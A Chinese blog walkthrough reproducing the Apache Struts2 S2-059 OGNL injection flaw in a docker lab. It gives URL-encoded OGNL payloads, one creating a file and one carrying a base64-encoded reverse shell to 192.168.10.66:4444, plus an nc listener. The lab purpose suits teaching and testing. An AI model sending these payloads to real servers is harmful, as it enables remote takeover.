s2-059

环境搭建

docker-compose up -d		//启动环境
docker-compose ps -a		//查看状态

7863c53db970b36def5c27ebae13680.png
f7fbbb9c9c255c29361263f83773c59.png

浏览访问

靶机ip+分配端口
image.png

漏洞验证

http://ip:8080/?id=漏洞点
做一个简单的计算,看会不会执行,只要执行了,那么漏洞就存在

poc,拼接访问
/index.action?id=%25{(223*223)}

image.png

右键查看源代码

参数被执行,漏洞存在
image.png

再次访问页面,bp抓包

get方式传参,发送repeater

image.png

poc1,在/tmp目录下创建PowerShell.txt文件

因为是没有回显的,所以我们创建一个文件,直接在exec后面接touch /tmp/PowerShell.txt就行,记得要进行url编码。

%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('命令'))}

构造及url编码后(该命令可直接使用)
%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%40java.lang.Runtime%40getRuntime().exec('touch%20%2Ftmp%2FPowerShell.txt'))%7D

image.png

进入容器查看

docker ps -a		//可以查看容器id
docker exec -it 容器ID /bin/bash			//进入容器

image.png

构造请求包执行POC2

生成监听机的反弹shell命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjY2LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

url编码
bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEwLjY2LzQ0NDQgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D

构造payload(把反弹shell的命令生成编码好,在此命令上拼接)
%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%40java.lang.Runtime%40getRuntime().exec('反弹shell命令'))%7D

构造好的payload
%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%40java.lang.Runtime%40getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEwLjY2LzQ0NDQgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'))%7D

kali监听机开启监听

nc -lvnp 4444

image.png

bp发送poc2的包

image.png

getshell

image.png

参考文章

https://www.syrr.cn/news/2376.html?action=onClick

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值